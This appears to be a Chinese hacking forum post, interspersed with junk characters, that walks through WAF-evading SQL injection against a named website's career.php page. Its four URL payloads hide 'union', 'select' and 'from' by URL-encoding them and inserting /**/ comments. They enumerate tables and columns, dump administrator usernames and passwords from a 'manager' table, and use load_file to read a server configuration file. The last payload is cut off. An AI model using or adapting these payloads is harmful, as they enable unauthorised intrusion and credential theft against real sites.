waf过滤了 union select from 等关键词 ? B7 ^) j- x7 }/ p
$ a- }, S O) G- [3 G5 P) { e
0 Y0 ?2 e' B+ H Q& m1.列当前库所有表- w4 f- R5 D* A- j
http://jyht.co.uk/career.php; \9 H5 B1 G8 o* r
?id=11/**/and/**/1=2/**/%75%6E%69%6F%6E/**/SELECT/**/1,2,3,4,%28%53%45%4C%45%43%54%20%47%52%4F%55%50%5F%43%4F%4E%43%41%54%28%69%2E%54%41%42%4C%45%5F%4E%41%4D%45%2C%30%78%33%43%36%32%37%32%32%46%33%45%29%20%46%52%4F%4D%20%69%6E%66%6F%72%6D%61%74%69%6F%6E%5F%73%63%68%65%6D%61%2E%54%41%42%4C%45%53%20%41%53%20%69%20%57%48%45%52%45%20%69%2E%54%41%42%4C%45%5F%53%43%48%45%4D%41%20%3D%20%64%61%74%61%62%61%73%65%28%29%29,6,7,8,9,10,11,12,13,14,15,16,17,18
' i& E0 N; X( J8 I! Q7 j. b6 @, L
8 D4 K5 c" D" ~6 [7 ^2.获取字段
1 L# X& Z& d* X$ g6 S5 h5 ~http://jyht.co.uk/career.php
6 s, p& h. w2 x2 e5 V! z; Y6 r?id=11/**/and/**/1=2/**/%75%6E%69%6F%6E/**/SELECT/**/1,2,3,4,group_concat(COLUMN_NAME,0x3C2F62723E),6,7,8,9,10,11,12,13,14,15,16,17,18/**/%66%72%6F%6D%20%69%6E%66%6F%72%6D%61%74%69%6F%6E%5F%73%63%68%65%6D%61%2E%43%4F%4C%55%4D%4E%53%20%77%68%65%72%65%20%54%41%42%4C%45%5F%4E%41%4D%45%3D%30%78%36%44%36%31%36%45%36%31%36%37%36%35%37%32' Q- v1 m& k+ u7 ]
. f0 a F+ K2 b5 j) q' t3.直接获取数据
4 u8 S- K6 O" [! ]- thttp://jyht.co.uk/career.php3 U' c( @# e+ ~+ M S$ S
?id=11/**/and/**/1=2/**/%75%6E%69%6F%6E/**/SELECT/**/1,2,3,group_concat(id,0x3d,username,0x3d,password,0x3C62722F3E),5,6,7,8,9,10,11,12,13,14,15,16,17,18/**/%66%72%6F%6D/**/%6D%61%6E%61%67%65%72
E" n- F4 ?' {
0 `% \6 }2 R: c n 8 W& U( l+ m' T9 K3 v. Y5 _/ @
4.读文件 可以不用hex 直接在页面显示(必须是root)3 [/ N; M; d+ ^5 K) N
http://jyht.co.uk/career.php0 E+ N: ^/ J/ _$ e. W, e
?id=-11/**//**/%75%6E%69%6F%6E/**/SELECT/**/1,2,3,4,hex(load_file(0x443A5C776562736974655C6A696E797568656E67746F6E675C6A7968742E636F2E756B5C636C6173735C64625F6D7973716C2E636C6173732E70687 |